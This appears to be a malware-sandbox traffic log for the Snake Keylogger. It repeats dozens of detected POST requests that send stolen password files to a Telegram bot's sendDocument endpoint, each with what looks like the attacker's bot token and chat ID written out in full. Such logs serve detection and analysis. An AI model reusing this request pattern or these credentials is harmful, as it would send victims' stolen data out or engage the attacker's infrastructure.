Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e1651b783f6Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e8c046fa382Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e000d88a51dHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e2c5dc4481cHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ea1aff451e4Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e18ff2f9f9eHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e3f97e51cd2Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0eb5ee92c4e0Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e2c53de666fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e58399bf1a8Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ecccaf1fdd6Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e425aa9301bHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ee23a537a0eHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e6f6632ec55Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e633f512fcfHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0efa41ff69d7Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e867d773907Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e7d2eac84a9Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ea18e3d18a2Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f14dc5e3fefHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e97064f676eHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0eb3179c3f7fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f28be95a5fbHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0eab5a499b52Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ec9f12dbdf1Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f4082f33a4cHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ec250d2c789Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f519f0d5ca3Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ede0895058aHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f08a8cc2626Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ef55334ac8aHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f7f6e69a05fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f1ddc04ff5aHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f982ba92d5dHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f0c03271772Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f1e9f0c802fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fab9e050937Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f2f0420657eHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f35250cf7bbHost: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fc80cbc88b2Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f440fe0220dHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f4ce99ede20Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f5908777d5bHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fe461bde220Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f63476ff6d9Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f6f3c5dd29eHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10047244b21aHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f76f31b176fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f82c2b37b8eHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd101cbc07fa5fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f8fc54b4863Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f9b66364c74Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1044355765bfHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fac6961b0abHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fb53f2b9fbbHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd106900031a3dHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fc7a70b6000Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fd2dd57c60fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10968007cad7Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fe7f7931677Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ff1a9c0edb8Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10c1527eafe5Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1006e1e9399eHost: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1011a0457cfdHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10f381542235Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd102ad1bb58e8Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10354bf3d436Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd112bbdaca27cHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10564b4229a8Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd105de7de44b5Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11703916c344Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10ec2ab08cebHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10f104b8c903Host: api.telegram.orgContent-Length: 537
